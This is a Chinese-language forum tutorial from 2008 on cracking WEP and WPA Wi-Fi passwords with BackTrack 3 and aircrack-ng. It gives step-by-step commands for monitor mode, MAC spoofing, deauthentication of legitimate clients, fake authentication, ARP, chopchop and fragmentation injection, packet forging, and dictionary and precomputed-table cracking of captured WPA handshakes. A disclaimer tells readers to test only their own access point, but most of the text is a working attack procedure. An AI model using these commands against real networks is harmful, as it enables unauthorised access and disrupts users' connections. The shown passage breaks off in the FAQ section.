中國無線論壇中衛(wèi)出品
AnywhereWLAN!! 1
BT3破解無線WEP/WPA教程
中國無線論壇中衛(wèi)出品
AnywhereWLAN!! 2
聲明：任何不經(jīng)別人同意而進入別人網(wǎng)絡都是非法和不道德的行為。
本教程用于學習和交流，如要實驗請拿自已的AP開刀??！
題記：
本人是中國無線論壇
http://www.wlanbbs.com/的ID“中衛(wèi)”，
無線安全版塊是本論壇一個特殊而重要的版塊，我們一直非常努
力的想把這個板塊做好。作為板塊現(xiàn)階段的的一個重點就是無線WEP
和WPA的破解內(nèi)容。我根據(jù)各位壇友的教程和自己的理解整理編輯成
這篇《BT3破解無線WEP/WPA教程》。
由于本人也是初學者，缺乏專業(yè)的理論知識，因此文中不免存在理
解的偏差甚至錯誤，希望各位朋友指正。
最后希望更多的朋友參與到教程的整理和編輯中，不斷把教程修
正和完善。
如果對教程有任何意見和建議，歡迎各位到
www.wlanbbs.com論
壇提問和交流。
謝謝??！
中衛(wèi)
08年7月13日
中國無線論壇中衛(wèi)出品
AnywhereWLAN!! 3
開放式WEP破解
1．裝備： IMBX60筆記本（內(nèi)置Intel3945 無線網(wǎng)卡）、BT3 的U盤系統(tǒng)（需用syslinux命令來指定啟動
BT3 的盤符）
2．用戶名：root密碼：toor，進入圖形界面：startx。啟動BT3 后,(啟動黑屏：xconf再輸入startx)
3．加載3945 網(wǎng)卡的驅動。打開一個shell
輸入modprobe –r iwl3945 卸載原來的網(wǎng)卡驅動
輸入modprobe ipwraw 加載可監(jiān)聽的網(wǎng)卡驅動
注：不同的網(wǎng)卡有不同的加載方式
LINUX 驅動是通過模塊進行加載的，可以用lsmod 來查看機器已加載的模塊
然后可以通過modinfo ipwraw（模塊名）來查看所加載驅動模塊的版本信息
最新的 ipwraw的版本是ipwraw-ng-2.3.4-04022008.tar.bz2 的。
中國無線論壇中衛(wèi)出品
AnywhereWLAN!! 4
最新的版本需要設置rate為1M 設置命令為iwconfig wifi0 rate 1M
這個版本的驅動支持3945 無線網(wǎng)卡發(fā)射功率得設置，命令如下
iwconfig wifi0 txpower 16（TXPOWER是你想設置的值min=-12 and max=16，單位為dBm）
參數(shù) on/off可以打開和關閉發(fā)射單元，auto 和fixed指定無線是否自動選擇發(fā)射功率。
注：降低連接速率可提高建立虛擬連接的成功率和穩(wěn)定性，提高發(fā)射功率可增加發(fā)射距離。
4． 查找目標：
可以用 airodump-ng wifi0 來搜索
注：通過掃描獲得你要破解的AP的MAC和SSID 還有是否有客戶端等信息。記錄下這些信息后，請關閉
此窗口。不然會出現(xiàn)后面建立虛擬連接時信道一直在跳轉的情況。
我們選擇第一個作為目標，channel為11（上圖中的CH 代表信道）。
注：修改自己網(wǎng)卡的MAC地址的命令。
輸入macchanger –m 00:11:22:33:44:55 wifi0
5．激活網(wǎng)卡的Monitor模式并工作在11 信道。（加載網(wǎng)卡，激活監(jiān)聽模式，工作在11 信道）
輸入airmon-ng start wifi0 11 也可用iwconfi wifi0 來查看網(wǎng)卡的工作模式和工作信道。
中國無線論壇中衛(wèi)出品
AnywhereWLAN!! 5
可用 aireplay-ng -9 wifi0 測試注入
6．輸入截取數(shù)據(jù)包命令（截取11 信道的ivs數(shù)據(jù)包，并保存名為name.ivs）
輸入命令airodump-ng --ivs -w name -c 11 wifi0 ，
（--ivs：僅截取ivs數(shù)據(jù)包，-w：寫入文件，-c：截取ivs的信道）
（其中name是獲取的ivs 的保存文件的名字，11 是channel值，你根據(jù)實際修改）
中國無線論壇中衛(wèi)出品
AnywhereWLAN!! 6
一. 有客戶端WEP破解
1．有客戶端，且合法客戶端產(chǎn)生大量有效的數(shù)據(jù)，能直接獲得大量IVS。
思路：1-6步同上
7．直接用aircrack-ng破解
第七步： aircrack-ng -n 64 -b <ap mac> name-01.ivs
2．有客戶端，合法客戶端只能產(chǎn)生少量ivs 數(shù)據(jù)，就需要注入攻擊加速產(chǎn)生大量ivs。
只要有少量的數(shù)據(jù)就可能獲得arp 請求包，則可用arp 注入模式的-3 模式通過不斷向AP 發(fā)送
同樣的arp請求包，來進行注入式攻擊。
思路：1-6步同上
7．用aireplay-ng的arp注入方式獲得大量的ivs
第七步：aireplay-ng -3 -b <ap mac> -h <合法客戶端mac> wifi0
注：這一步可能時間會長一點，因為需要等到ARP。
3．有客戶端，但是客戶端根本不在通信，不能產(chǎn)生ARP包。-3注入模式不成功
思路：1-6步同上
7．-0 沖突模式強制斷開合法客戶端和ap連接，使之重新連接
8．利用-0沖突模式重新連接所產(chǎn)生的握手數(shù)據(jù)讓-3獲得有效的ARP從而完成ARP注入
第七步：aireplay-ng -3 -b <ap mac> -h <合法客戶端mac> wifi0
中國無線論壇中衛(wèi)出品
AnywhereWLAN!! 7
第八步：aireplay-ng -0 10 –a <ap mac> -c <合法客戶端mac> wifi0
中國無線論壇中衛(wèi)出品
AnywhereWLAN!! 8
4．有客戶端，并且客戶端能產(chǎn)生有效arp 數(shù)據(jù)的另類破解方式
前面的步驟一樣：
輸入modprobe –r iwl3945
輸入modprobe ipwraw
輸入airmon-ng start wifi0 11
現(xiàn)在，只要一個命令就搞定，輸入:
輸入wesside-ng -i wifi0 -v 01:02:03:04:05:06 (此格式的APMAC)。
Wesside-ng這個命令其實就是一個-5 碎片注入，fragmentation 構造注入包，-3arp注入，最后PTW 破解這
樣一個思路。
中國無線論壇中衛(wèi)出品
AnywhereWLAN!! 9
二．無客戶端開放式WEP破解
思路：1-6步同上
因為是無客戶端，所以第一步就需要和AP之間建立一個虛擬連接。
這是非常關鍵的一步。為讓AP 接受數(shù)據(jù)包，必須使自己的網(wǎng)卡和AP 關聯(lián)。如果沒有關聯(lián)的話，目標AP
將忽略所有從你網(wǎng)卡發(fā)送的數(shù)據(jù)包，IVS數(shù)據(jù)將不會產(chǎn)生。
第七步：輸入aireplay-ng -1 0 -e <ap essid> -a <ap mac> -h < mac> wifi0
如果回顯虛擬偽裝連接不成功，不能成功的原因很多，具體有如下幾種：
1、目標AP做了MAC地址過濾
2、你離目標AP物理距離太遠
3、對方使用了WPA加密
5、網(wǎng)卡、AP可能不兼容,網(wǎng)卡沒有使用和AP一樣的工作頻道
注：遇有不規(guī)則的essid可用引號將essid引起來比如，‘jack chen’。
虛擬連接不成功可做如下嘗試：
1．直接將－e這個參數(shù)省略掉
2．降低網(wǎng)卡的速率重新進行連接
Iwconfig wifi0 rate 2M
參數(shù)說明：rate 后面跟連接的速率，可以從小往大設置做嘗試連接。后面的單位M 必須為大
寫
中國無線論壇中衛(wèi)出品
AnywhereWLAN!! 10
也可以使用命令tcpdump來確認網(wǎng)卡是否已經(jīng)連接到目標AP上
tcpdump -n -e -s0 -vvv -i wifi0
中國無線論壇中衛(wèi)出品
AnywhereWLAN!! 11
1．第一種破解方式：
思路：1-7步同上
建立虛擬連接后直接用-2 交互攻擊模式，這個模式集合了抓包和提取數(shù)據(jù)，發(fā)包注入三種能力。
第八步：抓包，提數(shù)據(jù)和發(fā)包攻擊
aireplay-ng -2 -p 0841 -c ff:ff:ff:ff:ff:ff -b <ap mac> -h <my mac> wifi0
發(fā)包成功后可得到足夠的ivs，然后用aircrack-ng破解。
成功后如上圖截獲了一個可以直接進行注入的數(shù)據(jù)包，并回顯Use this packet，按y 然后開始
發(fā)包攻擊，date飛快漲。當獲得足夠的ivs以后就可破解了。
中國無線論壇中衛(wèi)出品
AnywhereWLAN!! 12
2．第二種破解方式：
思路：1-7步同上
第八步：利用-5 碎片攻擊模式獲得一個可用的包含密鑰是數(shù)據(jù)文件（xor 文件）
第九步：然后通過數(shù)據(jù)包制造程序Packetforge-ng提取xor 文件中的PRGA偽造一個arp包，
第十步：最后利用交互式攻擊模式-2發(fā)包攻擊。
第八步：采用碎片包攻擊模式-5，獲得一個PRGA數(shù)據(jù)包（xor文件）。
輸入aireplay-ng -5 -b <ap mac> -h <my mac> wifi0
如順利，將得到一個可利用的數(shù)據(jù)包如上圖，系統(tǒng)將回顯Use this packet ? 輸入y 回車，將得到一個至
關重要的xor 文件。這一步生成的xor 文件將被我們用來產(chǎn)生arp數(shù)據(jù)包。
再輸入 ls 查看當前目錄，你將看到剛才生成的一個后綴名為xor 的文件。
中國無線論壇中衛(wèi)出品
AnywhereWLAN!! 13
第九步：用數(shù)據(jù)包制造程序packetforge-ng將上面獲得的PRGA數(shù)據(jù)包偽造成可利用的ARP注入包。
其工作原理就是使目標AP重新廣播包，當AP重廣播時，一個新的IVS將產(chǎn)生，我們就是利用這個來破解。
輸入packetforge-ng -0 -a <ap mac> -h <my mac> -k 255.255.255.255 –l 255.255.255.255 -y
name-xor -w myarp
參數(shù)說明：
-y （filename）是用來讀取PRGA的文件
-w （filename）將arp包寫入文件，我用的文件名是myarp
系統(tǒng)回顯：Wrote packet to: mrarp
中國無線論壇中衛(wèi)出品
AnywhereWLAN!! 14
第十步：采用交互模式-2，發(fā)包注入攻擊。
輸入aireplay-ng -2 –r myarp -x 256 rausb0
【-r】：從指定文件中讀取arp數(shù)據(jù)包
【-x】：定義每秒發(fā)送的數(shù)據(jù)包數(shù)量。為避免網(wǎng)卡死機，可選擇256，最高不超過1024
輸入 y 回車攻擊開始
中國無線論壇中衛(wèi)出品
AnywhereWLAN!! 15
這時，前面的抓包窗口上的data 將迅速增加。
到數(shù)據(jù)增加到1.5萬以上時。
第十一步：采用aircrack-ng 來進行破解
中國無線論壇中衛(wèi)出品
AnywhereWLAN!! 16
3．第三種破解方式：
思路：1-7步同上
第八步：利用-4的Chopchop 攻擊模式獲得一個可用的包含密鑰數(shù)據(jù)文件（xor 文件）
第九步：通過數(shù)據(jù)包制造程序Packetforge-ng提取xor 文件中的PRGA偽造一個arp包
第十步：最后利用交互式攻擊模式-2發(fā)包攻擊。
第八步：采用-4 的Chopchop 攻擊模式獲得一個包含密鑰數(shù)據(jù)的xor 文件
輸入aireplay-ng -4 -b <ap mac> -h <my mac> wifi0
參數(shù)說明：
-b：設置需要破解的AP的mac
-h：設置用于連接的無線網(wǎng)卡的mac（自己網(wǎng)卡）
順利將得到一個可利用的數(shù)據(jù)包，按y 將利用此數(shù)據(jù)包生產(chǎn)一個xor 文件
如上圖所示得到一個名為replay_dec-0523-075615的xor 文件，
中國無線論壇中衛(wèi)出品
AnywhereWLAN!! 17
第九步：通過數(shù)據(jù)包制造程序Packetforge-ng提取上面xor 文件來偽造一個arp包
輸入packetforge-ng -0 -a <ap mac> -h <my mac> -k 255.255.255.255 –l 255.255.255.255 -y
name-xor -w myarp
如上圖，成功生成一個名為myarp的可用來注入的arp數(shù)據(jù)包。
第十步：最后利用交互式攻擊模式-2發(fā)包攻擊。
輸入aireplay-ng -2 -r myarp rausb0
發(fā)現(xiàn)了可利用的myarp的數(shù)據(jù)包，按y后，立刻注入攻擊。Date瘋漲
注入成功將會獲得足夠的ivs然后直接用aircrack進行破解
中國無線論壇中衛(wèi)出品
AnywhereWLAN!! 18
注：在破解無客戶端的時候經(jīng)常會遇到有些AP，嘗試了各種注入攻擊模式都無法成功注入，
date一直為0。這時候可以根據(jù)下面的四種提示做進一步的嘗試。
1．移動無線網(wǎng)卡位置讓其獲得更好的信號強度；
2．在注入攻擊的過程中嘗試多次進行-1虛擬連接；
3．在-2交互模式攻擊中加入-F參數(shù)（自動選擇獲取的數(shù)據(jù)包進行注入攻擊）如下圖所示
然后你可以一邊去做自己的事，等你忙好了回來的時候說不定date已經(jīng)漲到幾十萬了；
4．在使用各種注入命令等待獲取注入數(shù)據(jù)包的時候，如果你另外有一臺計算機可以讓另外一
臺計算機連接到你要破解的無線AP。在連接過程中當提示輸入密碼的時候，你隨便輸入一個
什么密碼，會出現(xiàn)正在獲取IP 地址。這時候你的注入攻擊的頁面就會獲得一個可用的注入數(shù)
據(jù)包，從而實現(xiàn)注入攻擊。
中國無線論壇中衛(wèi)出品
AnywhereWLAN!! 19
預共享WEP破解
大家都知道WEP加密有兩種加密方式開放式和共享式。開放式系統(tǒng)驗證和共享密鑰驗證兩種模式中，每個
移動客戶端都必須針對訪問點進行驗證。開放式系統(tǒng)驗證其實可以稱為“無驗證”，因為實際上沒有進行驗
證——工作站說“請求驗證”，而AP 也不管是否密鑰是否正確，先“答應了再說”，但最終ap會驗證密鑰
是否正確，決定是否允許接入——這種驗證方式的ap，往往你隨便輸入一個密碼，都可以連接，但如果密
碼不正確，會顯示為“受限制”。共享密鑰驗證稍微強大一些，工作站請求驗證，而訪問點（AP）用WEP
加密的質詢進行響應。如果工作站的提供的密鑰是錯誤的，則立即拒絕請求。如果工作站有正確的WEP密
碼，就可以解密該質詢，并允許其接入。因此，連接共享密鑰系統(tǒng)，如果密鑰不正確，通常會立即顯示“該
網(wǎng)絡不存在等提示”。
前提：預共享WEP 破解必須要有合法無線客戶端
預共享密鑰的WEP不能建立-1 虛擬連接，你在建立虛擬連接的時候會有如下提示，見圖中紅色提示。
由于預共享WEP加密不能建立虛擬連接，因此預共享WEP破解必須是有客戶端，無客戶端不能進行破解
具體破解方式和開放式WEP破解的思路是一樣的。
1．正常激活網(wǎng)卡的監(jiān)聽模式
2．輸入截取數(shù)據(jù)包命令（截取11 信道的ivs數(shù)據(jù)包，并保存名為name.ivs）
輸入命令airodump-ng --ivs -w name -c 11 wifi0
（--ivs：僅截取ivs數(shù)據(jù)包，-w：寫入文件，-c：截取ivs的信道）
（其中name是獲取的ivs 的保存文件的名字，11 是channel值，你根據(jù)實際修改）
如下圖所示STATION下有一個合法的客戶端，AUTH下顯示SKA 為預共享WEP加密方式
中國無線論壇中衛(wèi)出品
AnywhereWLAN!! 20
破解思路一：
3．用aireplay-ng 的arp注入
aireplay-ng -3 -b <ap mac> -h <合法客戶端mac> wifi0
注：-h后面跟合法客戶端的MAC地址
如下圖所示成功注入
注：這一步可能時間會長一點，因為需要等到可注入的ARP。
注入成功將會獲得足夠的ivs然后直接用aircrack進行破解
中國無線論壇中衛(wèi)出品
AnywhereWLAN!! 21
破解思路二：
3.用-2 交互攻擊模式注入
aireplay-ng -2 -p 0841 -c ff:ff:ff:ff:ff:ff -b <ap mac> -h <合法客戶端mac> wifi0
注：-h后面跟合法客戶端的MAC地址
如下圖所示成功注入
注入成功將會獲得足夠的ivs然后直接用aircrack進行破解
中國無線論壇中衛(wèi)出品
AnywhereWLAN!! 22
破解思路三：
以上兩步都是基于有客戶端并且客戶端能產(chǎn)生少量數(shù)據(jù)的情況，但是有時候AP有客戶端連接，但是并不在
通信不能產(chǎn)生少量可用于注入的數(shù)據(jù)包。這時候就可以利用-0 沖突模式重新連接所產(chǎn)生的握手數(shù)據(jù)讓-3 的
ARP注入方式或-2 交互注入方式獲得有效的可用于注入的ARP從而完成注入。
如下圖所示
當-0 沖突模式攻擊成功后，-2的交互模式立刻獲得一個可用的注入包。如下圖所示
中國無線論壇中衛(wèi)出品
AnywhereWLAN!! 23
破解思路四：
大家看這張圖，在建立-1 虛擬連接的時候出現(xiàn)失敗的提示
You sheould specify a xor file (-y) with at least 148 keystreambytes
提示你建立虛擬連接需要用-y參數(shù)指定一個預共享密鑰的握手包。
這個握手包的獲得和WPA 中握手包的獲得方式是一樣的，采用-0沖突模式，獲得一個以AP MAC為名的xor
包。然后在-1建立虛擬連接的時候指定這個包。
然后利用-5碎片攻擊模式攻擊，packetforge-ng 構造ARP 注入包，然后-2 注入。從而獲得足夠的ivs用于
破解。
因為我一執(zhí)行-0 沖突模式，導致另外系統(tǒng)藍屏，所以沒能獲得這個握手包，這部分內(nèi)容不夠詳細。
等我換了網(wǎng)卡再做測試，如果OK 我會補充到教程中。
中國無線論壇中衛(wèi)出品
AnywhereWLAN!! 24
WPA破解詳細教程
破解 WPA 的前提：必須要有合法無線客戶端
WPA 破解的原理：
利用Deauth驗證攻擊。也就是說強制讓合法無線客戶端與AP被斷開，當它被從WLAN 中斷開后，這個無線
客戶端會自動嘗試重新連接到AP上，在這個重新連接過程中，數(shù)據(jù)通信就產(chǎn)生了，然后利用airodump捕獲
一個無線路由器與無線客戶端四次握手的過程，生成一個包含四次握手的cap包。然后再利用字典進行暴力
破解。
1． 激活網(wǎng)卡，并讓其工作于11信道
Airmon-ng start wifi0 11
2．捕獲11信道的cap包，并保存cap包為123.cap
Airodump-ng –w 123 –c 11 wifi0
上圖可以看出采用了WPA加密方式，并且有一個0016b69d10ad合法的無線客戶端。
3. 進行Deauth驗證攻擊，強制斷開合法無線客戶端和AP直接的連接，使其重新進行連接
aireplay-ng -0 10 -a <ap mac> -c <my mac> wifi0
解釋：-0指的是采取Deautenticate攻擊方式，后面為發(fā)送次數(shù)。-c建議還是使用，效果會更好，這個后面跟
的是監(jiān)測到的合法的已連接的客戶端MAC地址
注意上圖紅色部分，-c后面為合法無線客戶端的MAC地址
Deauth攻擊往往并不是一次攻擊就成功，為確保成功截獲需要反復進行（WPA破解不用等到數(shù)據(jù)Data達到
幾萬，因為它只要一個包含WPA4次握手驗證包就可以了）。如果成功捕獲會出現(xiàn)下圖紅色部分的提示
中國無線論壇中衛(wèi)出品
AnywhereWLAN!! 25
這時如果輸入dir就可以在root目錄下看到名為123.cap的握手包了。
得到握手包以后就可以用字典直接破解
首先將在windows下用字典工具生成的字典（例password.txt）拷貝到root目錄下
在BT3桌面雙擊system然后出現(xiàn)下圖。
圖中左邊紅色就為root目錄，圖中紅色存儲介質雙擊打開以后就看到你的每個硬盤的分區(qū)了?？梢赃M入硬
盤分區(qū)右鍵拷貝，然后進入root目錄右鍵粘貼。如下圖紅色部分
目前WPA 的破解主要還是基于暴力破解和字典破解，暴力破解和字典破解的一個共性就是“耗時、費力、
運氣”所以往往有時候你花了很多時間但還是破不了，這時候希望大家還是要接受這樣一個殘酷的現(xiàn)實。
中國無線論壇中衛(wèi)出品
AnywhereWLAN!! 26
破解方式一：用Cap數(shù)據(jù)包直接暴力破解
從破解難度上講WEP 是很容易破解的，只要你收集足夠的Cap 數(shù)據(jù)包就肯定可以破解。WPA 的破解需要
有好的密碼字典配合才能完成，復雜的WPA密碼可能幾個月也破解不出來。
輸入：aircrack-ng -z –b <ap mac> 123*.cap
123 是前面所獲得的握手包的文件名。系統(tǒng)會自動在你輸入的文件名后加上-01、-02（如果數(shù)據(jù)包太多，系
統(tǒng)會自動分成幾個文件存儲并自動命名，可以使用ls查看），輸入123*是打開所有123相關的cap文件。
常見問題：步驟2中收集數(shù)據(jù)包已達30W，無法破解密碼?？赡芟到y(tǒng)自動分成了幾個文件貯存cap包。
如輸入123-01.cap破解可能導致破解不成功，建議使用123*.cap選擇所有的cap包進行破解。
中國無線論壇中衛(wèi)出品
AnywhereWLAN!! 27
破解方式二. 掛字典破解
一．直接在BT3中掛字典破解
aircrack-ng –w password.txt –b <ap mac> 123.cap
參數(shù)說明：passwrod.txt為字典名稱123.cap為步驟2中獲得的握手信息包
耗時1分31秒獲得WPA密碼，如下圖
從上圖可以看出破解用時1分31秒，速度149.91K/S
注：本教程只為了描述破解的過程。我是做了個256K的小字典，事先把密碼已經(jīng)加到字典里了。
二．也可以把包含4次握手的CAP數(shù)據(jù)包拷貝到硬盤下在WIN下用WinAircrack掛字典破解。
中國無線論壇中衛(wèi)出品
AnywhereWLAN!! 28
如上圖 Encryption type處選擇WPA-PSK，下面capture files處導入抓取的握手包123.cap
然后選擇WPA選項，如下圖
在上圖中Dictionary file處導入字典文件password.txt。然后點擊右下角的Aircrack the key
中國無線論壇中衛(wèi)出品
AnywhereWLAN!! 29
然后出現(xiàn)下圖提示
上圖，選擇1后回車，然后開始破解。成功破解如下圖
從上圖可以看出破解用時54秒，速度251.73K/S(比BT3下要快)
中國無線論壇中衛(wèi)出品
AnywhereWLAN!! 30
三．通過airolib構建WPA table實現(xiàn)WPA線速破解
WPA的字典破解除了直接掛字典破解外，另外一種就是用airolib將字典構造成WPA table然后再用aircrac
進行破解。
構建WPA table就是采用和WPA加密采用同樣算法計算后生成的Hash 散列數(shù)值，這樣在需要破解的時候直
接調(diào)用這樣的文件進行比對，破解效率就可以大幅提高。
先講通過airolib構建WPA table
WPA table具有較強的針對ssid的特性。
1. 在構建WPA table之前需要準備兩個文件：一個是ssid列表的文件ssid.txt，一個是字典文件
password.txt。下圖為我的文件
大家可以看到兩個txt的文件，ssid記事本里是ssid的列表，你可以增加常見的ssid進去，后面的passwrod
就是字典文件了。
2. 把這ssid.txt和password.txt還有上面抓到的握手包123.cap這三個文件拷貝到root目錄下方便使用。
見下圖
3.開始利用airolib-ng來構建WPA table了。構建wpa table保存的名字為wpahash（下同）
第一步，如下圖
airolib-ng wpa --import essid ssid.txt
中國無線論壇中衛(wèi)出品
AnywhereWLAN!! 31
第二步，如下圖
airolib-ng wpa --import passwd password.txt
第三步，如下圖
airolib-ng wpa --clean all
第四步，如下圖
airolib-ng wpa --batch
注：這一步要等很久（視字典大小而定，我256K的字典等了有15分鐘）
4. 用aircrack來利用WPA table進行破解
Aircrack-ng –r wpahash 123.cap
選擇1以后將開始破解。
中國無線論壇中衛(wèi)出品
AnywhereWLAN!! 32
成功破解將如下圖所示
從上圖中可以看出耗時00:00:00反正不超過1秒鐘，速度42250.00K/S
大家也看到了三種破解方式，直接掛字典中在win下用WinAircrack破解是速度比在BT3下要快。直接掛字典
破解不超過1分鐘就破出了密碼；利用WPA table破解速度雖然不到一秒，但是構建WPA table卻耗費了15分
鐘。構建WPA table是很耗時的，但是構建出了包括常見ssid的和相對較大字典的WPA table的話，以后破
解的速度將大大降低。當然沒有萬能的字典，如果有萬能的字典，再構建出一個常見ssid的WPA table的話
那這個預運算數(shù)據(jù)庫是超級超級龐大的。
注：WIN平臺下的CAIN軟件中的破解器也可用于WEP和WPA的基于暴力和字典的破解，但是其破解速度很慢，
相比aircrack-ng而言不具實用價值。
中國無線論壇中衛(wèi)出品
AnywhereWLAN!! 33
Aireplay-ng的6種攻擊模式詳解
-0 Deautenticate 沖突模式
使已經(jīng)連接的合法客戶端強制斷開與路由端的連接，使其重新連接。在重新連接過程中獲得驗證數(shù)據(jù)包，
從而產(chǎn)生有效ARP request。
如果一個客戶端連在路由端上，但是沒有人上網(wǎng)以產(chǎn)生有效數(shù)據(jù)，此時，即使用-3 也無法產(chǎn)生有效ARP
request。所以此時需要用-0 攻擊模式配合，-3 攻擊才會被立刻激活。
aireplay-ng -0 10 –a <ap mac> -c <my mac> wifi0
參數(shù)說明：
【-0】：沖突攻擊模式，后面跟發(fā)送次數(shù)（設置為0，則為循環(huán)攻擊，不停的斷開連接，客戶端無法正常上
網(wǎng)）
【-a】：設置ap的mac
【-c】：設置已連接的合法客戶端的mac。如果不設置-c，則斷開所有和ap連接的合法客戶端。
aireplay-ng -3 -b <ap mac> -h <my mac> wifi0
注：使用此攻擊模式的前提是必須有通過認證的合法的客戶端連接到路由器
-1 fakeauth count 偽裝客戶端連接
這種模式是偽裝一個客戶端和AP進行連接。
這步是無客戶端的破解的第一步，因為是無合法連接的客戶端，因此需要一個偽裝客戶端來和路由器相連。
為讓AP接受數(shù)據(jù)包，必須使自己的網(wǎng)卡和AP關聯(lián)。如果沒有關聯(lián)的話，目標AP將忽略所有從你網(wǎng)卡發(fā)
送的數(shù)據(jù)包，IVS 數(shù)據(jù)將不會產(chǎn)生。用-1 偽裝客戶端成功連接以后才能發(fā)送注入命令，讓路由器接受到注
入命令后才可反饋數(shù)據(jù)從而產(chǎn)生ARP包。
aireplay-ng -1 0 –e <ap essid> -a <ap mac> -h <my mac> wifi0
參數(shù)說明：
【-1】：偽裝客戶端連接模式，后面跟延時
【-e】：設置ap的essid
【-a】：設置ap的mac
【-h】：設置偽裝客戶端的網(wǎng)卡MAC（即自己網(wǎng)卡mac）
-2 Interactive 交互模式
這種攻擊模式是一個抓包和提數(shù)據(jù)發(fā)攻擊包，三種集合一起的模式
1．這種模式主要用于破解無客戶端，先用-1建立虛假客戶端連接然后直接發(fā)包攻擊
aireplay-ng -2 -p 0841 -c ff:ff:ff:ff:ff:ff -b <ap mac> -h <my mac> wifi0
參數(shù)說明：
【-2】：交互攻擊模式
【-p】設置控制幀中包含的信息（16進制），默認采用0841
【-c】設置目標mac地址
【-b】設置ap的mac地址
【-h】設置偽裝客戶端的網(wǎng)卡MAC（即自己網(wǎng)卡mac）
2．提取包，發(fā)送注入數(shù)據(jù)包
aireplay-ng -2 –r <file> -x 1024 wifi0
發(fā)包攻擊.其中，-x 1024 是限定發(fā)包速度，避免網(wǎng)卡死機，可以選擇1024。
中國無線論壇中衛(wèi)出品
AnywhereWLAN!! 34
-3 ARP-request 注入攻擊模式
這種模式是一種抓包后分析重發(fā)的過程
這種攻擊模式很有效。既可以利用合法客戶端，也可以配合-1 利用虛擬連接的偽裝客戶端。如果有合法客
戶端那一般需要等幾分鐘，讓合法客戶端和ap 之間通信，少量數(shù)據(jù)就可產(chǎn)生有效ARP request 才可利用-3
模式注入成功。如果沒有任何通信存在，不能得到ARP request.，則這種攻擊就會失敗。如果合法客戶端和
ap之間長時間內(nèi)沒有ARP request，可以嘗試同時使用-0 攻擊。
如果沒有合法客戶端，則可以利用-1 建立虛擬連接的偽裝客戶端，連接過程中獲得驗證數(shù)據(jù)包，從而產(chǎn)生
有效ARP request。再通過-3 模式注入。
aireplay-ng -3 -b <ap mac> -h <my mac> -x 512 wifi0
參數(shù)說明：
【-3】：arp注入攻擊模式
【-b】：設置ap的mac
【-h】：設置
【-x】：定義每秒發(fā)送數(shù)據(jù)戶包的數(shù)量，但是最高不超過1024，建議使用512（也可不定義）
-4 Chopchop 攻擊模式，用以獲得一個包含密鑰數(shù)據(jù)的xor 文件
這種模式主要是獲得一個可利用包含密鑰數(shù)據(jù)的xor 文件，不能用來解密數(shù)據(jù)包。而是用它來產(chǎn)生一個新
的數(shù)據(jù)包以便我們可以進行注入。
aireplay-ng -4 -b <ap mac> -h <my mac> wifi0
參數(shù)說明：
-b：設置需要破解的AP的mac
-h：設置虛擬偽裝連接的mac（即自己網(wǎng)卡的mac）
-5 fragment 碎片包攻擊模式用以獲得PRGA(包含密鑰的后綴為xor 的文件)
這種模式主要是獲得一個可利用PRGA，這里的PRGA 并不是wep key數(shù)據(jù)，不能用來解密數(shù)據(jù)包。而是
用它來產(chǎn)生一個新的數(shù)據(jù)包以便我們可以進行注入。其工作原理就是使目標AP重新廣播包，當AP重廣播
時，一個新的IVS將產(chǎn)生，我們就是利用這個來破解
aireplay-ng -5 -b <ap mac> -h <my mac> wifi0
【-5】：碎片包攻擊模式
【-b】：設置ap的mac
【-h】：設置虛擬偽裝連接的mac（即自己網(wǎng)卡的mac）
中國無線論壇中衛(wèi)出品
AnywhereWLAN!! 35
Packetforge-ng：數(shù)據(jù)包制造程序
Packetforge-ng <mode> <options>
Mode
【-0】：偽造ARP包
packetforge-ng -0 -a <ap mac> -h <my mac> wifi0 –k 255.255.255.255 -l 255.255.255.255
–y<.xor file> -w mrarp
參數(shù)說明：
【-0】：偽裝arp數(shù)據(jù)包
【-a】：設置ap的mac
【-h】設置虛擬偽裝連接的mac（即自己的mac）
【-k】<ip[:port]>說明：設置目標文件IP和端口
【-l】<ip[:port]>說明：設置源文件IP和端口
【-y】<file>說明：從xor 文件中讀取PRGA。后面跟xor 的文件名。
【-w】設置偽裝的arp包的文件名
Aircrack-ng：WEP 及WPA-PSK key 破解主程序
Aircrack-ng [optin] <.cap/.ivs file>
Optin
aircrack-ng -n 64 -b <ap mac> name-01.ivs
參數(shù)說明：
【-n】：設置WEP KEY 長度（64/128/152/256/512）
aircrack-ng -x -f 2 name-01h.cap
參數(shù)說明：
【-x】：設置為暴力破解模式
【-f】：設置復雜程度，wep密碼設置為1，wpa 密碼設置為2
aircrack-ng -w password.txt ciw.cap
【-w】：設置為字典破解模式，后面跟字典文件，再后面跟是我們即時保存的那個捕獲到WPA 驗證的抓包
文件。
中國無線論壇中衛(wèi)出品
AnywhereWLAN!! 36
常見問題薈萃
問題1：我在啟動bt3 的時候，輸入startx黑屏
解答：在輸入用戶名root 和密碼toor 以后輸入xconf 這時會黑屏一會，然后出來提示符再輸入startx 可進入
win窗口；當實在不能進入win窗口的時候你也可以直接在提示符下輸入各破解命令，同時可用alt+f1 打開
一個shell，alt+f2 打開第二個shell，alt+f3 打開第三個等。關閉窗口用PRINT SCREEN 鍵
問題2：在BT3中打開kismet 的時候窗口一閃就沒了。
解答：首先加載驅ifconfig -a rausb0 開始網(wǎng)卡監(jiān)聽:airmon-ng start rausb0。找到/usr/local/etc/kismet.conf
打開此文件在channelsplit=true下面加入一行source=rt2500,rausb0,monitor
注： wusb54g v4一定是rt2500 ,不是加載驅動時顯示的rt2570。
3945 的兄弟加入source=ipw3945,eth0,IPW3945
問題3：
